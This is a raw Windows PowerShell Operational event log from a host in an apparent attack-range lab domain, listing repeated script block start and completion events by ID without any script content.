Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043034
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043033
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043028
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043027
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043003
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2043001
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2043000
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042988
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042987
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042984
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042983
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
